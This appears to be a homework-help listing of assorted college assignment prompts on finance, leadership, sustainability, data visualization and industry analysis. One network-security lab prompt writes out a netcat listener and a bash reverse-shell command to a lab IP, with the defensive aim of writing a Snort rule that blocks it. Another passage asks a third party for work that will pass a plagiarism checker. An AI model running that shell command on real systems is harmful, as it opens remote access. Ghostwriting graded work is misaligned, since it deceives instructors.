Category: Business

Play the role as Chief Financial Officer/Chief Treasury officer for ZenBe Health was to Training lab.ai
Do an assessment on the proforma statements of training lab.ai (current)
Looking at profitability, operating working Capital, and valuation (the worth of the company in 3 to 5 years)
2) Do an assessment on proforma statements of training lab. ai when they integrate 3rd wave ai (aigo) into the operations. You will assess the impact of 3rd wave ai on operating working Capital, profitability and valuation. I have attached both files below.

Describe how you can use Snorby, Squil and Squert for network and host security monitoring. List any two similar tools that you can use for the same purpose. Discuss two differences between Squil and Squert.
Describe why and how you would process your pcap files with Snort. List two snort rule examples, provide their syntax and describe what they do.
In the “Signature detection and Remote Shells” lab, you used netcat to set up a listener on the Kali machine and executed bash client side code to return a reverse shell. Netcat can be used to set up bind shells and reverse shells. What is the difference between bind and reverse shells? Describe how an organization can prevent bind and reverse shell attacks and the different methods used to prevent bind shell attacks as compared to reverse shell attacks.
As a part of this question you will create a Snort rule that would block content based on the non-case sensitive ASCII string “pport@ST. This will block the remote listener and log in the IPS when an attacker attempts to spawn a remote shell using these commands:
nc -lvp 8
bash –i >& /dev/tcp/192.168.1.5/8 0>&1
You will submit a 750 words report that is clear, concise, and organized.
The report will include and describe at least the following screenshots:
When the remote listener is unblocked and listening.
The new snort rule.
Test the run the new snort rule
Show that the listener is being blocked
Show contents of the log file.

After completing the Learning Activity titled “Growth and History of Social Media,” select a recent headline you have seen posted in social media. Describe the impact the posting had on you and others. Would that same impact have occurred if the posting was in the newspaper? Next, choose one of the dates from “The History of Social Media” infographic to compare the events of that time period to an event of today. The reading https://www.socialmediatoday.com/news/the-history-…

In the Learning Activity “Critical Areas of Financial Analysis” you learned how the opinions of other analysts are a way for managers to make decisions. Examine Table 1.3 (Bond Ratings) carefully and understand the different classifications of bonds by the different analysts. Then, conduct research and find an organization that offers a bond with a “Very High Quality” rating and one that offers bond with a “Very Poor” rating as stated in the table. Provide the link to the financials and examine them. List at least three financial factors for each organization that you feel are the reasons for the analyst ratings. Do you agree with the analyst ratings? Why or not? Would you personally invest in the organization by buying the bonds? Why or why not?

Scenario
As a director of leadership and learning, you collaborate with many different employees throughout the prosthetics manufacturing organization you work for. You were recently contacted by Eduardo, who was promoted from an individual contributor to a manager four months ago. Eduardo is seeking your advice on developing his leadership style after receiving his first quarterly review from his supervisor.
The following are the key takeaways from your conversation with Eduardo:
“I’ve been told that I am extremely intelligent and typically get to solutions before others. However, this can lead me toward moving too quickly to implementing a solution when the organization is two steps behind. I was cautioned that this can create a disconnect with my team. I’m told to focus on working alongside my team to better empower them. However, I get frustrated with the lack of responsiveness from the organization and my team. My supervisor says this can create insecurity and frustration, with people feeling they cannot live up to my expectations.”
After your meeting with Eduardo, you follow up with his supervisor to gain additional insight. This was their feedback:
“Eduardo does not leverage his team to create the desired vision. Because he is intelligent and gets to answers faster than most, he loses patience and decides to do all the work himself. By doing so, he misses out on the input of others and fails to garner support for the vision. When he becomes quickly entrenched in his position, he often ignores valid input and alternative points of view.”
“Eduardo thinks he knows best and hence may not always listen to others. Nor does he inspire confidence in his team. As a result, his ‘professional arrogance’ creates more of a dictatorial leadership style, which in turn produces adversarial relationships internally (Eduardo versus everyone). I am concerned that over time this outcome will also spread to external partners. In the end, we will continue to lose talent, which will eventually impact business performance.”
Since the vice president of leadership and learning has asked you to create an adaptive leadership toolkit, these conversations are extremely valuable because they provide specific insight into areas of leadership that can be improved across the organization. Some of the strategies that you recommend for Eduardo’s situation can be used to help inform the improvement of leadership skills throughout the prosthetics manufacturing organization.
Prompt
Given the case as described, provide an analysis of Eduardo’s situation as it currently exists and recommend steps he can take to help transform his leadership style.
Specifically, you must address the following rubric criteria:
Define the following leadership skills and explain why Eduardo should focus on developing each of these:Strategic thinking
Emotional intelligence
Communication skills
Describe two actionable steps Eduardo should take towards developing these leadership skills and explain how each step might help improve his situation.
Explain how Eduardo can utilize the flywheel effect to transform his leadership style and identify the tasks he should perform to promote gradual improvement that provides tangible evidence his strategy is yielding results. Support your response.
What to Submit
Submit a Word document using double spacing, 12-point Times New Roman font, and one-inch margins. This assignment must be 2 to 4 pages in length and include references cited in APA format.

Although sustainable operations have many benefits for organizations, consumers, and society, they also come with many business risks. In this discussion, you will explore sustainability operations of major organizations to reflect on what they are doing well, the benefits their sustainable operations may bring, and the potential risks associated with their sustainable operations. In evaluating the risks and benefits of prioritizing sustainability, you will also learn the importance of justifying organizational priorities, which will assist you in completing the first section of your course project.
First, take some time to explore a few different organizations’ sustainable operations statements on their websites. You may explore organizations you are familiar with or use the following:
Starbucks Stories
Select Social Impact from the navigation bar, then select from the story topics in the drop-down menu to explore the stories. Be sure to explore the Sustainability topic.
L’Oréal Group: Commitments and Responsibilities
Dixie Cares: An Eye Toward the Future
Peabody: Sustainability Approach
In your initial post, address the following questions:
How did the organizations you explored address sustainability concerns inherent to their industry, if at all?For example, a company that manufactures plastic has inherent environmental risks regarding plastic waste and pollution.
What other sustainable practices did the organizations you explored identify as priorities, and what kinds of business risks may they be taking on to prioritize those sustainable practices?
Do you think that the business risks the organizations are taking to prioritize their identified sustainable operations are worthwhile from a business perspective? Why or why not?
In your replies to at least two peers, contribute to the discussion by sharing the potential repercussions of not taking risks to prioritize sustainability. Examples of how you could contribute to the discussion include the following:
Provide examples of organizations that experienced the repercussions of not prioritizing sustainability.
Reflect on how you or people you know might react to organizations and products that don’t prioritize sustainability from a consumer perspective. Consider how factors such as age, geographic location, and finances might affect consumers’ reactions.
Name some specific impacts of not remaining competitive in the market based on what you learned from your reading in the Resources section.
Provide other reasons to justify prioritizing organizational sustainability.
Peer 1Madison Branham
Loreal is focusing on several areas by 2030 which include fighting climate change, managing water sustainably, respecting biodiversity and preserving natural resources. The targets set by Loreal for fighting climate change include 100% renewable energy for its sites by 2025 and by 2030, reduce by 50% on average and per finished product, the greenhouse gas emissions linked to the transport of our products, compared to 2016. Their goal to move towards managing water sustainability is in 2030, 100% of the water used in our industrial processes will be recycled and reused in a loop. To address respecting biodiversity, in 2022 Loreal reached 97% of new or renovated products had an improved environmental or social profile, that means they are eco-designed.
Loreal also touched on the fact that they are not starting from scratch with becoming more sustainable and are building upon existing practices and looking for ways to improve them. For example, In 2013, L’Oréal decided to address the core of its activity: the development of beauty products, its global sustainability program “Sharing Beauty With All’, announcing tangible sustainability goals towards 2020. As we have surpassed 2020, the following has been measured against that goal: In 2023, 96% of L’Oréal’s new or renovated products had an improved environmental and social profile.
By the end of 2023, L’Oréal had helped 37,284 people from disadvantaged communities find employment through its solidarity purchasing and inclusion programs.
I do think from a business risk perspective, it is worthwhile to continue to evolve into more sustainable ways of working and operating for the company. Not only do customers care how and where products are made that they purchase and how it is benefiting the planet, but Loreal is a beauty product brand. People now more than ever are paying closer attention to what ingredients are in products and what they are putting in or on their bodies so by investing in more natural and eco- friendly options, the company will be able to keep up with consumers expectations. Reference: L’Oreal. (2020, January 23). For the planet. L’Oréal. https://www.loreal.com/en/commitments-and-responsibilities/for-the-planet/
Peer 2 Kaitlyn BrownHi everyone!
I am choosing to analyze the sustainability operations of L’Oréal Groupe . L’Oréal Groupe is a cosmetic company which offers people the best of cosmetics innovation in terms of quality, efficacy, and safety (L’Oréal, n.d.) L’Oréal has committed to actions that are positively impactive to the environment as there are inherent environmental risks regarding pollution, and water and plastic waste. The company launched ‘The L’Oréal for the Future Program’ in 2020 to express the responsibilities and commitment toward solutions for environment issues. The commitments in this program are shown in measurable targets set for 2030:
Fighting climate change: Improving energy efficiency, their target for 2025 is to use renewable energy 100%.
Managing water: Targeting by 2030 that 100% of water used in processes will be recycled and reused in a loop (L’Oréal, n.d.) One practice for this priority was partnering with Gjosa to develop a low-flow shower head and developed a shampoo that is easier to rinse as part of the ‘L’Oréal Water Saver’ in 2021.
Plastic Waste: By 2025, the company targets a 100% goal of plastic packaging to be refillable, reusable, recyclable, or compostable (L’Oréal, n.d.)
While there are risks taken by performing these responsibilities, I do believe it is worthwhile from a business perspective. These risks may include higher operational costs for the company, challenges along the way, and missed goals compared to the given targets. However, the benefits outweigh the risks due to a better reputation for the company, consumer respect and loyalty, and of course, the positive impacts to the environment!
L’Oréal Groupe (n.d.) Commitments & Responsibilities. For The Planet (loreal.com

Please consider and read carefully my following requests and terms:
1- Above all, the answers must be mine only. The answers must have been formulated specifically for me. Copying, stealing and plagiarizing (from other students’ answers or other sources) is prohibited because I will be held accountable for that. There is only one attempt to submit and I am not allowed to try again. Please pay close attention to this point.
2- Mention the question number clearly in the answers.
—— (One answer should be 400 to 500 words. No less.)
3- All answers must be written in Times New Roman font (size 12, double space). Any images containing text will not be accepted and will be considered plagiarism).
4- submissions that do not contain this cover page will not be accepted.
5- Use APA style in the solution.
6- Please add a maximum of 5 references in APA style. (very important)
7- Please read the instructions mentioned in the assignment file carefully as well.
Important Notes:
This is an individual assignment.
All references must be cited using APA format. This includes both in-text citations and the reference list at the end of the document.
Originality, Similarity and Plagiarism Check: Your work must be original. All papers will be submitted through SafeAssign software to check for similarity and plagiarism. Any instance of academic dishonesty will result in a grade of zero for the assignment. No exceptions and no second chances!

Data visualization methods offer a different landscape for explaining situations using data. Graphical representations of information, if created properly, can make vital information more intuitive, contextualized, and accessible. Visualization plays an essential part in analyzing big data and simplifying complex data-intensive scenarios.
In this discussion, using the Viz of the Day webpage, select a business-focused visualization to debate in your post (you may have to toggle to more than one page to see business-specific visualizations). Consider the audience and purpose of the visualization you selected, and think about the strategy used to present the information and analysis visually. In your initial post, make sure to include the link to the visualization you selected, and address the following:
Why have you selected this one?
How does the author of the visualization address the audience?
How is the purpose of the visualization conveyed?
How does the visualization use color, ordering, layout, and hierarchy to prioritize information?
In response to at least two of your peers, address the following:
Can you describe ways in which data visualizations make information more accessible to their audience? What would you recommend to make key insights in visualizations more digestible to your audience? What would you avoid? Please provide response to each peer with their name
Peer 1 Julie Seabolt
chose “Analyzing Consumer Preferences in the U.S. Coffee Market” because it displays data and information in a way that makes it easier to notice trends and patterns. Mostly everyone I know, along with myself, are coffee drinkers so this data visualization piqued my interest. The author of this visualization does not directly address the audience, of which I assume to be coffee suppliers since the visualization mainly includes customer preference data in an effort to help businesses identify how to effectively appeal to their target audience. The data is displayed through bar charts, with a description to the side which enhances viewer’s understanding of the data. The author used different colors of brown in the visualization to go along with the coffee theme. The first page is not packed with data, but it lays out the general consumers of coffee such as gender, age, employment status, education level, ethnicity, political views, and work arrangements, while the next few pages focus on coffee consumer’s preferences and outlines business strategies to increase sales. The first page did it’s job at enticing the viewer to read further into the data, and I think this is because the page isn’t packed with information, but instead clearly organizes the data, and places a simple picture in the middle telling viewers exactly what the visualization is about. Reference
Phyu, Ei Ei. (2024, March 17). Analyzing Consumer Preferences in the US Coffee Market. tableau public. https://public.tableau.com/app/profile/ei.ei.phyu/viz/AnalyzingConsumerPreferencesintheUSCoffeeMarket/1
peer 2 stephanie wilbourn
I selected America’s Haunted Place by Ghafar Shah. I love Halloween because of the haunted houses and trails, they are always fun. I am aware of the local haunted places but now I can search for others that I may consider attending. The author has a big bold title to draw in the audience and gives a brief description of his purpose. He ends the description with a question for the audience, “have you ever explored haunted spots, or is there one that intrigues you?”.
The author has included an interactive map of all the haunted places in the United States. You can hover over the map to read short spooky stories for each location. There are also color codes for the states with the most and the states with the least haunted places. Below the map are two list, one side is purple showing states with the most places in descending order. The other side is in orange showing states with the least places, also in descending order.
https://public.tableau.com/app/profile/ghafar.shah2168/viz/AmericasHauntedPlaces/AmericasHauntedPlaces

Overview
In this assignment, you will apply what you have learned about key concepts regarding operations management. You are encouraged to leverage your work and instructor feedback on this assignment in your course project, which is due in Module Seven.
Scenario
You work as the chief supply chain officer at NationaliTeas, a large international corporation that manufacturers and sells tea worldwide. Its mission is to “Make the world more awake through rejuvenating and refreshing beverages and sustainable practices that uplift workers, communities, and souls.” You have recently hired the company’s first project manager and have given them their first project: Revise current workflows related to packaging at one of your tea factories to be more sustainable and more lean. As this is their first project, you will be helping them complete their task.
Prompt
Read through the Project Charter for Workflow Improvement Word Document, then review the Process Workflow for Tea Production Word Document graphic. A text-only version is available: Process Workflow for Tea Production Text-Only Version Word Document. Based on these documents, recommend removing a total of four steps from the process flowchart that can help make the process more efficient and sustainable. Explain the implications of the proposed changes, and then help the NationaliTeas team address current items in the Issue Log located in the project charter.
Specifically, you must address the following rubric criteria:
Lean Manufacturing: Evaluate the process flowchart to identify steps that do not add value based on the principles of lean manufacturing. Explain why you selected each step.
Sustainability: Evaluate the process flowchart and identify steps that should be removed or changed to improve environmental sustainability. Explain why you selected each step.
Process Changes: Explain the implications, both positive and negative, of removing or changing the steps from the process flowchart you identified in the previous two bullet points. Also explain how those changes would help alignment to the triple bottom line (TBL).
Issue Log: Analyze all entries in the Issue Log from the perspective of a project manager and explain the recommended course of action based on the project charter, noting the impact of the issue on scope, planning communications, and resourcing.
Operations Management Techniques: Discuss how operations management techniques, including project management and lean manufacturing, can add value to NationaliTeas.
What to Submit
Submit this assignment as a 350- to 500-word Word document. Sources should be cited according to APA style.

Competency
In this project, you will demonstrate your mastery of the following competency:
Utilize information from industry and scholarly sources to inform problem solving and decision making
Scenario
You are the sales department manager for a U.S.-based company that builds engines for the automotive manufacturing industry. Your company is considering diversifying into other business opportunities where your motors can be sold in order to bolster the company’s portfolio and increase revenue. Based on your knowledge of the national sales landscape, your manager would like you to conduct preliminary research and prepare a presentation with your recommendation for opportunity in a chosen industry that will allow for this diversification through a new sales division and increased sales. You have been asked to make your presentation at the next stakeholder meeting, where you will address internal stakeholders from across the company as well as external stakeholders such as customers, investors, and suppliers.
As a preliminary step in developing this presentation, your manager would like to see an executive summary of your research findings and evaluate your decision modeling.
Directions
Complete the Project One Worksheet in your Soomo webtext and submit it for instructor feedback.
Part 1: Define
You will first conduct research on the U.S.-based automotive manufacturing industry using the Shapiro Library database links provided in the supporting materials section below. Then, prepare an analysis report that addresses the following:
Define the problem.Explain the type of qualitative and quantitative data you will be targeting in your research.
Provide a broad description of the U.S. automotive manufacturing industry and its value. Include:Total value of the industry
Sales by region
Sales by fuel type: electric, hybrid, and gas
Describe the current trends in the automotive market.The trend toward different types of motors for the vehicles being made and sold, such as electric and hybrid
Trends in customer demands such as vehicle color, extra features, and styles
Trends in the body types of vehicles sold (SUVs, trucks, sedans)
Part 2: Research
In Module One, you chose an industry that you think would provide opportunity for your company. Now, using industry-specific and scholarly resources to inform your decision, prepare an industry analysis report that includes the following:
Provide a broad description of the chosen industry.Describe the overall attractiveness of the industry.Is this a growing industry?
Is this an industry that has a lot of growth potential?
What outside factors are affecting its growth?
Identify the factors that have allowed competitors to be successful in this industry thus far.
Summarize the overall value of the industry.How is the industry currently trending?
Summarize the sales. Speculate if sales vary based on the region of the country. (For example, there would be very few snow plow sales in the southern United States, if any at all.)
Define expected growth areas.
Describe the current market trends for the chosen industry.What products or services are trending?
What are some current customer demands?
Perform a Porter’s Five Forces analysis to determine the potential success of moving into this chosen industry.Explain your rationale.
Part 3: Compare
Compare the two industries and summarize your findings.
Perform a Porter’s Five Forces analysis to compare the two industries.
Summarize how your findings address the problem.
What to Submit
To complete this project, submit an executive summary report of 3 to 4 pages using the provided templates, or the document you downloaded from Soomo. Sources should be cited according to APA style.
Supporting Materials
The following resources support your work on the project:
Project One Template Word Document
Porter’s Five Forces Analysis Template PPT
Shapiro Library Database: IBISWorld
Shapiro Library Database: MarketLine